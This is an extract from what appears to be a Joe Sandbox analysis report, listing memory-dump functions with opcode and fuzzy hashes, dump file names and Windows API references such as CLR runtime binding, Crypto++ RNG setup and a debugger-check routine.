Opcode ID: 4a35fba7f5bb067f4670b0a9662f8f43361e335b9705b06226b5a0ef0b03086a
Instruction ID: 4fca745c90c91f33d5ff6e8abc1651b6599563b88d6c823ffcf03b703fdb7176
Opcode Fuzzy Hash: 4a35fba7f5bb067f4670b0a9662f8f43361e335b9705b06226b5a0ef0b03086a
Instruction Fuzzy Hash: A601AD313007118FD720AB69D884B0ABBAAFBC4364F14863DED068B355DBB5E90587D5

Function 0330D447 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1649891586.000000000330D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0330D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b833d26cd7365b8867e15ba7c370dcfe0962a953db827259849fa21210271d8d
Instruction ID: b49cc1a6541e42f4058d2c0f6d57a44d59adbdb0e4c8a105cbafbbacf9df8ba0
Opcode Fuzzy Hash: b833d26cd7365b8867e15ba7c370dcfe0962a953db827259849fa21210271d8d
Instruction Fuzzy Hash: 8511E375504280DFDB11CF54D9D4B1AFFA1FB84324F28C6AADC494B656C33AE44ACB92

Function 062B0868 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef8b2fd50c2e6cbd8790cc12fc41cdc3f5e958285e3e520466ed903b457f5fe0
Instruction ID: 1dce9245f68f2599e03192341e747eddd9550be67163c566b09caa4a2d40423f
Opcode Fuzzy Hash: ef8b2fd50c2e6cbd8790cc12fc41cdc3f5e958285e3e520466ed903b457f5fe0
Instruction Fuzzy Hash: 9E015E353401149FD748EB6DD898C2EBBEAFFC962431144A9E10ACB371DE21EC058B90

Function 03391640 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df5d5d8eca07d00cfb2657318eecd9e5f3f81bec6d635ea3864589676527667
Instruction ID: 4409ad2eab6acd48a68d78641bb4d2ea3c4be0f1a1eb8396146229870cc82bab
Opcode Fuzzy Hash: 7df5d5d8eca07d00cfb2657318eecd9e5f3f81bec6d635ea3864589676527667
Instruction Fuzzy Hash: 4B110374E04209DFCB40DFA9D9909AEBBF5FF89300B1484AAD815EB365D730AA05DF91

Function 03390838 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69baa2fd4186a42c8ff09b4a9036ef5c22229164351378855b278bb0b4bc92d0
Instruction ID: 8813871c7c87d1fa8dbf0cfa0b85627f07f81c72b417f7cd0797768a426b5f31
Opcode Fuzzy Hash: 69baa2fd4186a42c8ff09b4a9036ef5c22229164351378855b278bb0b4bc92d0
Instruction Fuzzy Hash: 541123B4D05309EFCB04EFB8D5946AEBBB5BF4A305F1085AAC815A7244EB745B04CF91

Function 0133D149 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1649147026.000000000133D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0133D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_133d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049b68083b787fe0f1c8061e64da1d93d181953bc0123304f1b388d4b939fda1
Instruction ID: 55c0ad842e502e5abd68ab7f404919e721919b13d1a50e64e2f732709b45442c
Opcode Fuzzy Hash: 049b68083b787fe0f1c8061e64da1d93d181953bc0123304f1b388d4b939fda1
Instruction Fuzzy Hash: 82012B718083049BF7618A59CD84767FF9CDF81328F48C52AED090A246C278D840C6B5

Function 03390848 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 901308bacf6da01dbf42bcab52bd0892034d819bbf43cd939463c78c40ed510e
Instruction ID: 873a053561c22055967ca0836eec6065ea045df48322c1c387374a9b15475d2d
Opcode Fuzzy Hash: 901308bacf6da01dbf42bcab52bd0892034d819bbf43cd939463c78c40ed510e
Instruction Fuzzy Hash: EE0110B4D00209EFDB04EFA9D5886AEBBB5FF49305F1086AAC419A3240EB745B04CF90

Function 03391650 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a202a86cd7b774b8d8f31f47b0d534c684598cd98ed180a1b921f813778496
Instruction ID: 5844ca0d6074148c18ec4e0c26bb555b81d37f64d0068722280bd441e26bb9ed
Opcode Fuzzy Hash: 11a202a86cd7b774b8d8f31f47b0d534c684598cd98ed180a1b921f813778496
Instruction Fuzzy Hash: 0D01A5B4E00209DFDB44EFA9D5945AEBBF5FB48300F1085AA9819A3354EB305A45DF91

Function 03397CFF Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76b03d09644d34ce9f3e7e8eb426eb3a19dbb46355281cba0fe98551ac7268e3
Instruction ID: 27f670152b0860a78df9d80482749f02e1f9c5f07b46a1a583c2dc6007712e81
Opcode Fuzzy Hash: 76b03d09644d34ce9f3e7e8eb426eb3a19dbb46355281cba0fe98551ac7268e3
Instruction Fuzzy Hash: F8F0BE35204254AFCF066A14DCA88FE3F6AEBC93217088057F819CB281CA39C8129BA0

Function 0339A788 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3c6e8145055aec5dd8a21bc889d07e82bbebd15e5327e37f569c1a38968739
Instruction ID: 5c40a401e1f5c351b4f2dc477fef2d86325224dcf4b84b94ae53bc02083a412c
Opcode Fuzzy Hash: fb3c6e8145055aec5dd8a21bc889d07e82bbebd15e5327e37f569c1a38968739
Instruction Fuzzy Hash: F2F02E7650C208EFFF05CAE5ACC26BBBBBC9B00210F048257F045D7A00E134A9418752

Function 0133D148 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1649147026.000000000133D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0133D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_133d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5d71dac447292d79609ab6f1cd415bfd834f2414c333a3b36f9518585ce821
Instruction ID: 0ef14afecd2b78b86d7aa9e32626d4f590e4aa1a310154d4344a945c93aa0b39
Opcode Fuzzy Hash: ea5d71dac447292d79609ab6f1cd415bfd834f2414c333a3b36f9518585ce821
Instruction Fuzzy Hash: DAF062714043449FE7618A1ADD84B66FFA8EF91678F18C45AED084A286C2799844CAB1

Function 0339E98B Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8ae6c974cc04b561a52fd20f21344b50870f4e3aa64f3b2bd3bd36bf3304771
Instruction ID: 5ed905c3bf0ffb4351bd78e96d58d7d31be3d722dddefd4bfbcf222ce3e0fc83
Opcode Fuzzy Hash: b8ae6c974cc04b561a52fd20f21344b50870f4e3aa64f3b2bd3bd36bf3304771
Instruction Fuzzy Hash: 8DF06231248650DBFB9DD71595CC7697B9E9F05601F08005BE1C746AC2D75CAA44C787

Function 03399280 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27aa1c2a78a1f3cb1299ac578df89d36fbc334993170bfb6cd7fb2f76e028703
Instruction ID: d78aca18be39b44c604bd8f993f1573a334104b86fff77d69cad8efdb9ab403c
Opcode Fuzzy Hash: 27aa1c2a78a1f3cb1299ac578df89d36fbc334993170bfb6cd7fb2f76e028703
Instruction Fuzzy Hash: DA018CB4D0624DDFCB84EFA8E9846EDBFB0BF49301F1442AAD844A7355E7300A01CB92

Function 033917A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccdf0eca39aa5fc3c0f69583f84016a1f5e7d072a80df04c0cee3630b2958a0
Instruction ID: a0d432e040097eef22ed627eebe03afb255b3b69650c4b0133c9675ba775161c
Opcode Fuzzy Hash: 4ccdf0eca39aa5fc3c0f69583f84016a1f5e7d072a80df04c0cee3630b2958a0
Instruction Fuzzy Hash: 18F0CD75D0420ACFCF00CFA8D4808EDFFB0FB4A210B005496D405BB221E635AA0ADF50

Function 0339C538 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5c467098b485877d8b6c88a5c623cc8802f86e4e414309a161fb533b0e3de8
Instruction ID: e7596495e37c8086a2d7cc71c49ef6cd37d85e5e73e394ba772c1023576a8208
Opcode Fuzzy Hash: de5c467098b485877d8b6c88a5c623cc8802f86e4e414309a161fb533b0e3de8
Instruction Fuzzy Hash: D2014537014204AFCB064F90D948D81BFB6FB4D320B0A80C1EA488B132D232C960EB51

Function 03397D10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdc63298a29e0663032f49d97ec266d731ab6afbb5ae1181cf10cd99223bcb7
Instruction ID: 3ac22c4f28e965b893ff69a37940c4471e54407c62bd724977c316caa85dccd6
Opcode Fuzzy Hash: 6bdc63298a29e0663032f49d97ec266d731ab6afbb5ae1181cf10cd99223bcb7
Instruction Fuzzy Hash: A5E06535304259AB8F062E559C648BE7F6EDBC8261B048017FD59C2295CB35C92197A0

Function 0339B1AF Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8951fc4bbd840a25f6cdbf67966fd9b8473b897efc117dee821f19c3e03ac680
Instruction ID: c209d217749641a26c83d5f0a6870f86c741e2ca1ea6323cf1757f2b9957722e
Opcode Fuzzy Hash: 8951fc4bbd840a25f6cdbf67966fd9b8473b897efc117dee821f19c3e03ac680
Instruction Fuzzy Hash: 54E04F7704C244EAFF02D650BC8FA71FF2C9F55240B0C4043FA0389852D55144544352

Function 03399290 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f0edc8b8a260d2cfe2e8223367731019b8c26d8a1ba4a4ee6b16935dca4f16
Instruction ID: 17b32954443c89a6e768c749dc0de8953af1612beb22016708477dc3e10d26bd
Opcode Fuzzy Hash: d1f0edc8b8a260d2cfe2e8223367731019b8c26d8a1ba4a4ee6b16935dca4f16
Instruction Fuzzy Hash: 24F09EB4D0120DDFCB44EFE8D9546ADBBF4BF48304F10416AD859A3344DB305A41DB91

Function 0339DEBB Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b409e6631d2e2faef85c0e58d5b331769823e5beab68b1569c46a316c4f7d6
Instruction ID: 4b398274140e7f112e55bc34481c76cc9ab4eeb122194cd2082c792ad289bc72
Opcode Fuzzy Hash: 58b409e6631d2e2faef85c0e58d5b331769823e5beab68b1569c46a316c4f7d6
Instruction Fuzzy Hash: 16E0D832A04344CFEB25DF1CD4D9769B7E9EB55300F084657E0428BAA5CB60ED458388

Function 0339C190 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d9d7d9391457520fa070abf6393adb1e98c00c27f51de791ce1f43c13318699
Instruction ID: 95b72e51d1002f1b62a9e78957ff229e631954216e06de380e13d37c3289c2b7
Opcode Fuzzy Hash: 6d9d7d9391457520fa070abf6393adb1e98c00c27f51de791ce1f43c13318699
Instruction Fuzzy Hash: 65E08670B0138C9BCB50DBB8D60075EBFFDDB41344F1041A9DC08CB259EA355A059781

Function 03393069 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12bea7d68f997eb35f37e7be91e2311d03247a552595d9ed8c3a9a0fcb68530d
Instruction ID: 3eb5307d1c0d7cd35fa733094a77019dd28f6437dd5ea8a5743f191dd3ad6d94
Opcode Fuzzy Hash: 12bea7d68f997eb35f37e7be91e2311d03247a552595d9ed8c3a9a0fcb68530d
Instruction Fuzzy Hash: CFE086301483849FDF11DB70DC5D719BFA9AF42330F0A44A6D445CB666DA3DD864C602

Function 03399B88 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9f6438c76bac349d581894110cf8d015836a9a67cabefb39e74f9fea9ada67d
Instruction ID: 31356bda23894c9cc2fa01353e45ff244d8ea0e256a6c7a884746ac4119db927
Opcode Fuzzy Hash: d9f6438c76bac349d581894110cf8d015836a9a67cabefb39e74f9fea9ada67d
Instruction Fuzzy Hash: 6CE0BF30989209CFEF14DFA1C5D5BBD7B39AB45304F10085EC0066A645DBB95940CB41

Function 0339C1A0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 337fb63f351bf4bf9cd691f4d970bed3d1dec43626fbcece7f75fe5640f778cd
Instruction ID: 739a7c3eab5252295038499a789312a8a1530bcb4f69e50452b030e3cddd0da3
Opcode Fuzzy Hash: 337fb63f351bf4bf9cd691f4d970bed3d1dec43626fbcece7f75fe5640f778cd
Instruction Fuzzy Hash: C2D01730B01208EFCB40EBB8D60065EBBE9EB85304F2041A8D809CB354E9369E008791

Function 03393078 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49db0dafbf113ec6d8ee962fa95768ed0835c982e1358fc635072b90e94b9a87
Instruction ID: 881310a1b1a04899ad4739382f0b6f9ac53a0e8db7af77fb6f27aa4ba91a5c68
Opcode Fuzzy Hash: 49db0dafbf113ec6d8ee962fa95768ed0835c982e1358fc635072b90e94b9a87
Instruction Fuzzy Hash: CDD01274600308EFEF10AB71ED4D71ABBADAB00361F058036E907C2361DB39CC54C550

Function 033978D8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a9951ac43b36b7ce4740e95b2e41c8599faf0f99df45be559fe7ce6fa142f5
Instruction ID: 501a441a025183b22d03b254f4b400c483ce1b594af609b7e4f1637d53b78a5b
Opcode Fuzzy Hash: d7a9951ac43b36b7ce4740e95b2e41c8599faf0f99df45be559fe7ce6fa142f5
Instruction Fuzzy Hash: 3CC04C75154301AAE614AA40CB5AB46F661BF50B05F04C349FE48180C687B15868FB51

Non-executed Functions

Function 6CF72D70 Relevance: 35.2, APIs: 23, Instructions: 669COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6CF72DFF
VariantInit.OLEAUT32(?), ref: 6CF72E08
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF72E7E
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF72EB5
VariantClear.OLEAUT32(?), ref: 6CF72EC1

Part of subcall function 6CF7C850: VariantInit.OLEAUT32(?), ref: 6CF7C88F
Part of subcall function 6CF7C850: VariantInit.OLEAUT32(?), ref: 6CF7C895
Part of subcall function 6CF7C850: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7C8A0
Part of subcall function 6CF7C850: SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF7C8D5
Part of subcall function 6CF7C850: VariantClear.OLEAUT32(?), ref: 6CF7C8E1

VariantClear.OLEAUT32(?), ref: 6CF730D5
SafeArrayDestroy.OLEAUT32(?), ref: 6CF73550
VariantClear.OLEAUT32(?), ref: 6CF73563
VariantClear.OLEAUT32(?), ref: 6CF73569

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateElementVector$Destroy
String ID:
API String ID: 2012514194-0
Opcode ID: 0da63a30b29171bfad96cad8459f7ab96a66479a97b9e726aca9e4916afab3a3
Instruction ID: b3583ffeb8b7de1ea39ae6140f3f7a1b6148648b0ddaf9e4c82a7e76dcb35458
Opcode Fuzzy Hash: 0da63a30b29171bfad96cad8459f7ab96a66479a97b9e726aca9e4916afab3a3
Instruction Fuzzy Hash: 0E527D71D00219DFCB14DFA8D884BEEBBB5BF49304F25819AE909AB750D770A945CFA0

Function 6CF6A0C0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 227libraryloaderCOMMON

Download Yara Rule

APIs

CorBindToRuntimeEx.MSCOREE(v2.0.50727,wks,00000000,6CFE0634,6CFE0738,?), ref: 6CF6A119
GetModuleHandleW.KERNEL32(mscorwks), ref: 6CF6A145
__cftoe.LIBCMT ref: 6CF6A1FB
GetModuleHandleW.KERNEL32(?), ref: 6CF6A215
GetProcAddress.KERNEL32(00000000,00000018), ref: 6CF6A265

Strings

v2.0.50727, xrefs: 6CF6A110
mscorwks, xrefs: 6CF6A140
wks, xrefs: 6CF6A10B

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: HandleModule$AddressBindProcRuntime__cftoe
String ID: mscorwks$v2.0.50727$wks
API String ID: 1312202379-2066655427
Opcode ID: ee9f8caf82943ebfb0ae925347d499d80c1234aaac9d3a2362d3bcd6f200f91f
Instruction ID: cd471b464b0412d9a6be3e16113713dec76c97434331cde2e12e2cb91b77dd4f
Opcode Fuzzy Hash: ee9f8caf82943ebfb0ae925347d499d80c1234aaac9d3a2362d3bcd6f200f91f
Instruction Fuzzy Hash: 80916870E052999FCB04DFE9D880A9EBBF5FF49304F20866DE119EBA40C731A945CB94

Function 6CFADBB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,CA0C7769,6CFD8180,00000000,?), ref: 6CFADBFB
GetLastError.KERNEL32 ref: 6CFADC01
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 6CFADC15
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 6CFADC26
SetLastError.KERNEL32(00000000), ref: 6CFADC2D

Part of subcall function 6CFAD9D0: GetLastError.KERNEL32(00000010,CA0C7769,75A8FC30,?,00000000), ref: 6CFADA1A

__CxxThrowException@8.LIBCMT ref: 6CFADC78

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Strings

Crypto++ RNG, xrefs: 6CFADC0D, 6CFADC20
CryptAcquireContext, xrefs: 6CFADC35

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: AcquireContextCryptErrorLast$ExceptionException@8RaiseThrow
String ID: CryptAcquireContext$Crypto++ RNG
API String ID: 3279666080-1159690233
Opcode ID: 3d9226b3b2e6df68f5480c6206929e16319b452372c766c6a9c506c20fdbf311
Instruction ID: 20af61f33fd47721fdc2f968bfc5c748864d103708b455f755369ba17ea8fe79
Opcode Fuzzy Hash: 3d9226b3b2e6df68f5480c6206929e16319b452372c766c6a9c506c20fdbf311
Instruction Fuzzy Hash: 3A21D4B1258300BBE310DB64CC45F5BBBF8EB49B44F44091EF541A66C0EBB6E4088B91

Function 6CFB948B Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CFBCE6C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CFBCE81
UnhandledExceptionFilter.KERNEL32(6CFD9428), ref: 6CFBCE8C
GetCurrentProcess.KERNEL32(C0000409), ref: 6CFBCEA8
TerminateProcess.KERNEL32(00000000), ref: 6CFBCEAF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3abcf50774a06ea4cf4e5207da533b9d22282174ff5aacea5f17937036c645ea
Instruction ID: ed665da9f1641dc84a2c9dee5745e4aa03443dd489af8deb5d7ad837a86440dc
Opcode Fuzzy Hash: 3abcf50774a06ea4cf4e5207da533b9d22282174ff5aacea5f17937036c645ea
Instruction Fuzzy Hash: 1E21DFB5F25204DFCBE8DF69E4487453BB8FB0A304F10899AE82997B50E7B09981CF15

Function 6CFB2310 Relevance: 6.7, APIs: 4, Instructions: 663COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6CFB24A1

